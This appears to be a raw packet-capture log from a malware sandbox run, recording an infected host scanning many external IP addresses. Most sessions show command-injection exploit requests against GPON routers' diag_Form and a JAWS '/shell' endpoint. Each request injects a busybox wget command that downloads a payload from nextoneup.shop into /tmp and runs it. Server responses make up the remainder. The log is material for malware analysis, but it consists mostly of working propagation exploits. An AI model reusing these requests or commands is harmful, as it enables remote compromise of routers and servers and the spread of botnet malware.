Apr 14, 2024 04:00:12.276913881 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
964	192.168.2.23	53200	212.21.103.66	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276918888 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
965	192.168.2.23	41124	2.30.36.218	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.276963949 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
966	192.168.2.23	44356	210.219.77.18	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.277007103 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
967	192.168.2.23	42306	42.126.100.22	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.277081013 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
968	192.168.2.23	42206	109.124.176.85	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.277080059 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
969	192.168.2.23	59560	37.19.138.61	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.277122021 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
970	192.168.2.23	51326	5.190.105.235	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.277162075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
971	192.168.2.23	57416	37.17.207.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.277261972 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
972	192.168.2.23	54494	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.391796112 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:59Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
973	192.168.2.23	48196	47.92.115.75	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.562433958 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:12.918730021 CEST	1151	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 1002 Date: Sun, 14 Apr 2024 02:00:12 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 38 2e 35 2e 35 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 20 31 70 78 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 35 32 35 44 37 36 3b 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 73 68 65 6c 6c 3c 2f 68 31 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 3e 3c 2f 64 69 76 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 73 68 65 6c 6c 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 38 2e 35 2e 35 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><title>Apache Tomcat/8.5.5 - Error report</title><style type="text/css">H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}.line {height: 1px; background-color: #525D76; border: none;}</style> </head><body><h1>HTTP Status 404 - /shell</h1><div class="line"></div><p><b>type</b> Status report</p><p><b>message</b> <u>/shell</u></p><p><b>description</b> <u>The requested resource is not available.</u></p><hr class="line"><h3>Apache Tomcat/8.5.5</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
974	192.168.2.23	54400	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.594500065 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:59Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
975	192.168.2.23	46086	207.142.0.111	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.797286034 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:13.035371065 CEST	1289	IN	HTTP/1.1 200 OK Date: Sun, 14 Apr 2024 02:00:11 GMT Server: Microsoft-IIS/10.0 Cache-Control: private Content-Type: text/html; charset=utf-8 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Content-Length: 10240 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 0d 0a 09 53 69 74 65 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 50 61 67 65 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 09 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0d 0a 09 7d 0d 0a 09 69 6d 67 20 7b 0d 0a 09 20 20 20 20 77 69 64 74 68 3a 20 61 75 74 6f 3b 0d 0a 09 7d 0d 0a 09 61 20 7b 0d 0a 09 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 09 20 20 20 20 63 6f 6c 6f 72 3a 20 23 65 32 37 33 30 35 3b 0d 0a 09 7d 20 20 20 20 0d 0a 09 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 31 20 7b 0d 0a 09 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0d 0a 09 20 20 20 20 77 69 64 74 68 3a 20 39 30 30 70 78 3b 0d 0a 09 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 09 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 41 72 69 61 6c 22 3b 0d 0a 09 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0d 0a 09 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 77 68 69 74 65 3b 0d 0a 09 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 20 20 20 20 7a 2d 69 6e 64 65 78 3a 32 3b 0d 0a 09 7d 0d 0a 09 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 09 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0d 0a 09 20 20 20 20 77 69 64 74 68 3a 20 39 30 30 70 78 3b 0d 0a 09 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0d 0a 09 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 41 72 69 61 6c 22 3b 0d 0a 09 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0d 0a 09 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 77 68 69 74 65 3b 0d 0a 09 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0d 0a 09 7d 0d 0a 09 2e 6c 6f 67 6f 20 7b 0d 0a 09 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 33 36 70 78 3b 0d 0a 09 7d 0d 0a 09 2e 69 6e 64 65 78 2d 74 69 74 6c 65 20 7b 0d 0a 09 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 38 70 78 3b 0d 0a 09 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 39 Data Ascii: <!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"><head><title>Site Information Page</title><meta name="viewport" content="width=device-width, initial-scale=1" /> <style> body { background-color: white; margin:0;}img { width: auto;}a { text-decoration: none; color: #e27305;} .content-container-1 { background-color: white; width: 900px; text-align: center; font-family: "Helvetica Neue", "Arial"; margin: 0 auto; border: 1px solid white; border-radius: 5px; position:relative; z-index:2;}.content-container { background-color: white; width: 900px; text-align: left; font-family: "Helvetica Neue", "Arial"; margin: 0 auto; border: 1px solid white; border-radius: 5px; position:relative;}.logo { padding-top: 36px;}.index-title { font-size: 28px; color: #39
Apr 14, 2024 04:00:13.035398006 CEST	1289	IN	Data Raw: 34 38 35 36 3b 0d 0a 09 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 33 36 70 78 3b 0d 0a 09 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 09 7d 0d 0a 09 2e 65 72 72 6f 72 2d 74 69 74 6c 65 20 7b 0d 0a 09 20 20 20 20 66 6f 6e 74 Data Ascii: 4856; padding-bottom: 36px; margin: 0;}.error-title { font-size: 28px; color: #394856; padding-bottom: 36px; margin: 0;}.text-container { padding: 36px 0; /*border-bottom: 2px dotted
Apr 14, 2024 04:00:13.035413980 CEST	1289	IN	Data Raw: 72 20 7b 0d 0a 09 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0d 0a 09 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 09 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 Data Ascii: r { background-color: white; text-align: center; font-family: "Helvetica Neue", "Arial"; margin: 0 auto; width:1000px; position:relative;} .dom-container { width: 236px; text-align:
Apr 14, 2024 04:00:13.035433054 CEST	1289	IN	Data Raw: 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 32 38 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 Data Ascii: ; border: 1px solid #ccc; height:28px; } </style> <script> </script></head><body style="font-family:Arial;"> <form name="form1" method="post" action="./home.aspx?cd+%2ftmp%3brm+-rf+*%3bw
Apr 14, 2024 04:00:13.035469055 CEST	1289	IN	Data Raw: 75 6f 66 31 55 68 70 7a 2b 77 71 47 55 66 39 41 57 64 37 39 4a 41 4d 46 30 55 75 4e 66 30 56 43 51 4f 4a 76 46 72 70 4b 4f 75 33 4d 56 36 2f 6f 54 6f 6d 32 54 55 43 65 48 6a 6b 4d 6f 7a 72 63 6d 55 6c 64 55 74 67 6e 54 2f 41 6c 4a 53 63 52 72 62 Data Ascii: uof1Uhpz+wqGUf9AWd79JAMF0UuNf0VCQOJvFrpKOu3MV6/oTom2TUCeHjkMozrcmUldUtgnT/AlJScRrbu6T0zMNTP" /> <div id="UP" style="width: 100%; line-height: 1.5em;"> <div class="content-container-1">
Apr 14, 2024 04:00:13.035485983 CEST	1289	IN	Data Raw: 64 69 64 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 20 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: did> </div> </div> <div class="content-container"> <div class="text-container"> <h1 class="index-title">Email Security Best Practices</
Apr 14, 2024 04:00:13.035507917 CEST	1289	IN	Data Raw: 66 66 65 72 65 6e 74 20 64 6f 6d 61 69 6e 73 20 28 61 6e 64 20 6f 6e 6c 79 20 74 68 65 20 66 69 72 73 74 20 69 73 20 72 65 61 6c 29 2e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f Data Ascii: fferent domains (and only the first is real).</li> </ul> <b>NEVER:</b> <ul> <li>Open any email attachments that end with: .
Apr 14, 2024 04:00:13.035537004 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 64 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 46 75 6c 6c 20 4e 61 6d 65 3a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <td> Full Name: </td> <td> <input name="tbFName" type="text" id="tbFName" class="txtbox" />
Apr 14, 2024 04:00:13.035576105 CEST	315	IN	Data Raw: 65 77 42 75 74 74 6f 6e 22 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 5f 5f 64 6f 50 6f 73 74 42 61 63 6b 28 26 23 33 39 3b 6c 6e 6b 53 75 62 6d 69 74 26 23 33 39 3b 2c 26 23 33 39 3b 26 23 33 39 3b 29 22 3e 53 75 62 6d 69 74 3c 2f 61 Data Ascii: ewButton" href="javascript:__doPostBack('lnkSubmit','')">Submit</a> </td> </tr> </table> </div> </div> <div sty

Session ID	Source IP	Source Port	Destination IP	Destination Port
976	192.168.2.23	46580	70.65.82.244	80

Timestamp	Bytes transferred	Direction	Data
